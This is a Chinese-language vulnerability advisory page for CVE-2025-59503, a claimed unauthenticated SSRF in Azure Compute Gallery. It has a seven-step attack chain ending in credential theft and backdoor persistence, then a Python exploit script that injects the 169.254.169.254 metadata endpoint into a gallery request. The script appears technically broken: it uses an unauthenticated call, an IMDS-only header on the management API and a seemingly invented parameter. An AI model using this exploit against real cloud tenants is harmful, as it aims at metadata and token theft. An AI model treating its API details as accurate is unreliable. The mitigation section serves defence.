IPBUF安全漏洞报告
English
CVE-2025-59503 CVSS 10.0 严重

CVE-2025-59503 Azure Compute Gallery 服务器端请求伪造漏洞

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-59503
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Azure Compute Gallery

相关标签

服务器端请求伪造SSRFAzure Compute GalleryAzure安全漏洞权限提升CVE-2025-59503Microsoft Azure云安全元数据服务攻击CVSS 10.0

漏洞概述

CVE-2025-59503是Microsoft Azure Compute Gallery(原名Shared Image Gallery)中发现的严重服务器端请求伪造(SSRF)漏洞,CVSS评分高达10.0分,属于紧急且严重的安全缺陷。该漏洞允许未经授权的远程攻击者通过发送精心构造的HTTP请求,利用Azure服务的内部网络架构发起SSRF攻击,从而绕过网络边界限制,访问Azure内部的元数据服务和敏感资源。Azure Compute Gallery是微软Azure云平台中用于存储和管理虚拟机镜像及应用程序工件的核心服务组件,广泛应用于企业级云部署环境中。由于该漏洞具有无需认证、低攻击复杂度、无需用户交互的特点,攻击者可以在无需获取任何有效凭证的情况下,通过公共互联网直接发起攻击,对Azure云环境造成严重安全威胁。成功利用此漏洞可能导致攻击者获取Azure内部服务访问权限、读取敏感配置信息、甚至在特定条件下实现权限提升和远程代码执行,对云基础设施的机密性、完整性和可用性造成毁灭性影响。鉴于该漏洞的严重性和广泛影响范围,Microsoft已将其标记为紧急修复项目,并建议所有使用Azure Compute Gallery的用户立即采取防护措施。

技术细节

Azure Compute Gallery的SSRF漏洞源于服务在处理用户提供的URL参数时缺乏充分的输入验证和边界检查机制。攻击者可以利用Azure服务的REST API端点,通过在请求参数中注入精心构造的URL地址,诱使服务器向攻击者指定的内部或外部资源发起HTTP请求。Azure Compute Gallery服务在处理镜像定义、版本管理、资源共享等操作时,会接受用户输入的URL参数用于指定镜像源、目标位置或配置信息,但服务未能对这些URL进行严格的白名单验证和安全过滤。攻击者可以通过构造类似包含内部IP地址(如169.254.169.254)、localhost地址或内网域名的URL,利用Azure服务器的请求发起能力访问Azure Instance Metadata Service(IMDS)等内部服务端点,从而获取管理员凭证、订阅信息和资源访问令牌。攻击者还可能利用该漏洞探测Azure内部网络拓扑结构,识别可利用的服务端点,并进一步横向移动至其他云资源。由于Azure Compute Gallery服务运行在Azure的基础设施上,其网络位置允许访问Azure管理平面和内部元数据服务,这使得SSRF攻击的危害被显著放大。攻击者通过组合利用SSRF漏洞读取敏感信息和后续的认证令牌滥用技术,可以在Azure环境中实现权限提升和未授权资源访问。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标Azure环境是否使用Compute Gallery服务,通过公开的Azure资源管理器API或DNS枚举发现易受攻击的服务端点
STEP 2
步骤2
构造恶意请求:攻击者构建包含SSRF载荷的HTTP请求,在Azure Compute Gallery API的sourceUrl、imageSource或其他URL参数中注入内部服务端点地址(如169.254.169.254)
STEP 3
步骤3
触发漏洞:向Azure Compute Gallery REST API端点发送恶意请求,服务器在处理请求时会向攻击者指定的内部URL发起HTTP请求
STEP 4
步骤4
元数据服务访问:利用SSRF漏洞访问Azure Instance Metadata Service(IMDS),获取实例元数据、订阅标识符、资源组信息等敏感数据
STEP 5
步骤5
凭证提取:从IMDS响应中提取托管身份令牌或服务主体凭证,这些凭证可用于后续横向移动和权限提升
STEP 6
步骤6
权限提升:使用获取的凭证访问其他Azure资源和服务,实现跨订阅或跨租户的未授权访问,可能获取管理员级别权限
STEP 7
步骤7
持久化控制:在成功获取高权限后,攻击者可能创建后门账户、修改资源配置或部署恶意资源,实现长期持续访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59503 Azure Compute Gallery SSRF PoC # Target: Azure Compute Gallery REST API Endpoint # This PoC demonstrates the SSRF vulnerability by accessing Azure IMDS import requests import json import sys def exploit_ssrf(target_subscription_id, resource_group, gallery_name): """ Exploit SSRF in Azure Compute Gallery to access internal metadata service """ # Azure IMDS endpoint for metadata retrieval imds_url = "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Construct malicious request targeting Azure Compute Gallery API base_url = f"https://management.azure.com/subscriptions/{target_subscription_id}" # Malicious payload exploiting SSRF ssrf_payload = { "gallery": { "name": gallery_name, "location": "eastus", "settings": { "sourceUrl": imds_url, # SSRF injection point "description": "Malicious image source" } } } # Attempt to trigger SSRF via gallery creation/update exploit_endpoint = f"{base_url}/resourceGroups/{resource_group}/providers/Microsoft.Compute/galleries/{gallery_name}" headers = { "Content-Type": "application/json", "Metadata": "true" # Required for IMDS access } print(f"[*] Targeting: {exploit_endpoint}") print(f"[*] Injecting SSRF payload: {imds_url}") try: # Send malicious request response = requests.post( exploit_endpoint, json=ssrf_payload, headers=headers, timeout=10 ) if response.status_code in [200, 201, 202]: print("[+] Request successful - SSRF may be triggered") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Request failed: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def verify_imds_access(): """ Verify if IMDS is accessible via SSRF """ imds_url = "http://169.254.169.254/metadata/instance?api-version=2021-02-01" headers = {"Metadata": "true"} try: response = requests.get(imds_url, headers=headers, timeout=5) if response.status_code == 200: data = response.json() print("[+] IMDS access confirmed") print(f"[*] Subscription ID: {data.get('compute', {}).get('subscriptionId', 'N/A')}") return True except: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-59503 Azure Compute Gallery SSRF Exploit") print("=" * 60) if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <subscription_id> <resource_group> <gallery_name>") sys.exit(1) subscription_id = sys.argv[1] resource_group = sys.argv[2] gallery_name = sys.argv[3] # Verify IMDS accessibility first if verify_imds_access(): print("[*] Proceeding with SSRF exploitation...") exploit_ssrf(subscription_id, resource_group, gallery_name) else: print("[*] Note: IMDS verification requires Azure environment") exploit_ssrf(subscription_id, resource_group, gallery_name)

影响范围

Azure Compute Gallery 所有版本(截至2025年10月23日披露时)
Microsoft Azure Image Builder(使用Compute Gallery集成的版本)
Azure Compute Gallery镜像共享功能所有版本

防御指南

临时缓解措施
在官方补丁可用前,建议采取以下临时缓解措施:首先,通过Azure Policy禁止创建或修改使用外部URL源的Compute Gallery资源;其次,在网络安全组中配置出站规则,明确禁止Azure Compute服务访问169.254.0.0/16地址段;然后,禁用或严格限制Azure资源托管标识的使用范围,确保即使凭证泄露也不会造成大范围影响;最后,建议临时将敏感的Azure资源部署在专用虚拟网络中,并通过私有端点访问Compute Gallery,避免服务直接暴露在公共网络中。同时,加强安全监控,密切关注Azure活动日志中来自Compute Gallery服务的异常网络访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表